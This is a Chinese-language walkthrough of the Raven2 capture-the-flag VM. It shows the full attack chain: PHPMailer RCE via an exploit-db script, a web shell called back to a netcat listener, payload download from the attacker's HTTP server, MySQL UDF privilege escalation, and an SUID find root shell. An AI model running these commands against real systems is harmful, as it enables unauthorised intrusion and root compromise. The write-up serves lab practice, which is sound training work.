Raven2
1. 信息收集
nmap:扫描主机存活
nmap -sn 192.168.203.0/24
可以看到靶机地址为192.168.203.131
nmap 192.168.203.131
也可以使用·:nmap --min-rate 10000 -p- x.x.x.x
查看开放服务
开放服务如上图:访问80端口http服务,是一个前端页面,使用dirsearch 扫描后台
可疑目录如下图,访问具有一定大小的目录,/vendor/
访问目录具有许多文件,这也是一个漏洞,叫做目录遍历
一个一个访问之后发现flag1
2. 拿shell
接着我们需要知道它这个网站是有什么构成,以此可以让我们打开突破口
访问到contact目录,发现具有发邮件的功能
查看到PHPMailer这个目录,发现邮件功能是PHPMailer提供的,它算是一个cms,我们使用kali查看是否具有这个的nday
searchsploit PHPMailer
有这个版本漏洞
接下来可以利用相关版本,我们的版本是 5.2.16
locate 文件名
使用 cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root
复制到root的根目录,然后使用vim 改一下文件信息
本机的是后面用来弹shell的,改完信息后,使用python启动该脚本。
它就会上传一个木马文件tan.php,使用nc开启监听4444端口,并且访问tan.php就会弹shell
访问弹shell
这个命令行过于限制,不能直观感受所以使用python命令产生交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
接下来我们要继续寻找flag
使用find / -name flag* 批量寻找筛选和flag相关的文件
找到啦flag2 flag3
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
flag3访问一下就行了
/var/www/flag2.txt
由下图看可以知道,我们是普通用户,接下来是重要的步骤,提权
3.数据库创函数
我们使用ls查看当前文件内容后,发现这个wordpress目录,这个目录是
WordPress 是一个开源的内容管理系统(CMS),主要使用 PHP 语言开发。它需要运行在支持 PHP 和 MySQL 数据库的服务器上。PHP 负责处理网站的动态功能,而 MySQL 用于存储和管理网站的数据。
是个系统目录,通常会有数据库的信息,而我们在学数据提权时学过,数据库的一些关键文件是存在config,ini,等文件中,所以我们可以去找一找数据库的敏感信息。
可以看到数据库名和密码root,R@v3nSecurity
登入数据库查看
接下来使用数据库提权--------提权方式为UDF提权,利用mysql的自定义函数库udf,添加函数实现跨权限命令执行。
首先查看MySQL的版本,因为根据版本不同,来决定后面的dll文件放在什么地方
select @@version
查询到版本是大于5.1的,所以dll文件放在MySQL的lib\plugin目录下。
- 再查看secure_file_priv 的值符不符合条件
show global variables like 'secure%';
是一个空值,则表示可以读写入文件任意位置,
再次使用kali一把梭, searchsploit udf ,查找udf漏洞,我们要找的是提权类型的
这里有两个,我们找到相近版本的,如何进行编译
先执行 gcc -g -c 1518.c
再执行 gcc -g -shared -o test.so 1518.o -lc
将编译好的目标文件 1518.o
链接为一个包含调试信息、依赖 C 标准库的共享库 test.so
。生成的 test.so
可被其他程序(如 MySQL 加载插件时)动态调用,执行其中定义的函数
接下来要在靶机执行下载,将t.so下载才能在靶机中利用。
使用python3 -m http.server 80
开启服务让靶机下载 t.so
登入数据库,创建自定义函数
**use mysql
**进入mysql数据库
create table test(line blob);
这个表用来放dll文件就是 te.so 文件
insert into test values(load_file('/tmp/te.so'));
将操作系统中 /tmp/te.so
文件的内容读取出来,存入数据库的 test
表中
select * from test into dumpfile '/usr/lib/mysql/plugin/te.so';
将 test
表中存储的二进制数据,导出到操作系统的 /usr/lib/mysql/plugin/te.so
文件中
select * from mysql.func;
检查函数创建是否成功
create function do_system returns integer soname 'te.so';
创建自定义函数do_system
select do_system('chmod u+s /usr/bin/find');
给find命令赋予权限。
4.提权
退出MySQL ,在目录下创建一个文件夹
touch test
创建test的目的是触发后面的find命令,详解如下:
- 创建
test
文件是为了让find
能 “找到目标”:如果test
不存在,find
会提示 “无此文件”,可能不会执行后续的-exec
操作;
- 只需一个存在的文件即可(名称任意,
test
只是举例),目的是触发find
的 “找到文件” 状态。
find test -exec "/bin/sh" \;
- 具体来说:
- 普通用户在终端输入
find test -exec "/bin/sh" \;
时,首先启动find
进程;
- 普通用户在终端输入
- 由于
find
被设置了 SUID 权限,且所有者是root
,操作系统会给find
进程赋予root
权限(SUID 的核心作用:执行程序时,权限提升为程序所有者的权限);
- 由于
find
找到test
文件后,通过-exec
启动/bin/sh
进程 —— 此时/bin/sh
作为find
的子进程,会继承父进程(find
)的权限,即root
权限;
- 最终用户获得的
/bin/sh
是一个具有root
权限的交互式 shell,输入whoami
会显示root
,输入id
会显示uid=0
(root 的 UID),实现完全提权。
- 最终用户获得的
然后后面的命令就是以root的权限运行了
切换到root目录,找到flag4
flag4{df2bc5e951d91581467bb9a2a8ff4425}